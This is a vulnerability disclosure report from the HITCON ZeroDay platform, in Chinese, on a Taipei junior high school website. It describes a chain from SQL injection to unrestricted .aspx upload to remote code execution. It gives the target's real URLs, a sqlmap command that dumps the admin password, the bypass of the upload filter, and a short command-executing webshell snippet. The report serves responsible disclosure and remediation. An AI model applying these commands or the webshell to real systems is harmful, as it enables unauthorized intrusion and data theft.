Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2020-01167
- Vendor: TACERT台灣學術網路危機處理中心
- Title: 台北市立敦化國中 From SQL Injection to RCE
- Introduction: SQL Injection -> Restricted File Upload -> Bypass Restricted & Upload Webshell -> RCE
處理狀態
目前狀態
公開
Last Update : 2021/03/03
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2020/12/23 09:42:36 : 新提交 (由 鄉民 更新此狀態)
- 2020/12/23 09:52:52 : 新提交 (由 鄉民 更新此狀態)
- 2020/12/23 09:56:57 : 新提交 (由 鄉民 更新此狀態)
- 2020/12/23 09:57:22 : 新提交 (由 鄉民 更新此狀態)
- 2020/12/23 09:57:47 : 新提交 (由 鄉民 更新此狀態)
- 2020/12/28 00:00:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/12/28 17:32:27 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/12/28 17:32:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/12/28 17:32:27 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/02/23 15:58:32 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/03/03 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2020-01167
- 通報者:鄉民
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://163.21.2.100/updata/plan9/view.asp?ID=1120
敘述
'ID' parameter SQL Injectable.
sqlmap 無腦 Dump 出後台管理密碼
sqlmap -u "http://163.21.2.100/updata/plan9/view.asp?ID=1120" -p ID -a
得到密碼 t**,可登入管理頁面
http://163.21.2.100/updata/plan7/admin.asp
管理者可張貼新的教學計畫,內有任意文件上傳漏洞。
http://163.21.2.100/updata/plan7/gform_1.asp
不給上傳含有 .asp 的副檔名 (包含大寫混淆),但是 .aspx 不會擋,故可上傳 aspx webshell。
常見的 aspx webshell 貌似上傳成功後會被 Windows Defender 刪掉,呈現上傳成功但 404 Not Found。(已嘗試過 msfvenom 與 GitHub 乾淨 aspx webshell)
怕亂上傳開源免殺的 webshell 藏有後門,就沒繼續嘗試下去了。
簡單用個 RCE 當作 PoC。
<%
Dim rs = CreateObject("WScript.Shell")
Dim cmd = rs.Exec("cmd /c ipconfig /all")
Dim o = cmd.StdOut.Readall()
Response.write(o)
%>
PoC URL: http://163.21.2.100/updata/plan7/upload/testttt.aspx
修補建議
備註:
因為要利用這個漏洞太過容易,而且網站老舊感覺已經被 Pwned 一陣子了,不排除被 APT 拿來當作跳板機的可能性。
建議對主機做完整健檢,看看有沒有被其他人埋後門。
備註2:
我在測試期間因為想 bypass Windows Defender,所以上傳了很多 Payload 在 /updata/plan7/upload,雖然大多無害,但還是請修補方記得要刪掉。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。